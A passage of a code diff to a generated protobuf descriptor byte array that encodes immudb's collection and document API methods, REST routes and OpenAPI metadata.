0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, - 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x47, 0x65, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, + 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, + 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, - 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, - 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, + 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, + 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, + 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, - 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, - 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x12, 0x8a, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x8a, 0x01, - 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, - 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, - 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, - 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x42, 0xba, 0x01, 0x5a, 0x2f, 0x67, - 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, - 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, - 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, - 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, - 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, - 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, - 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, - 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, - 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, - 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 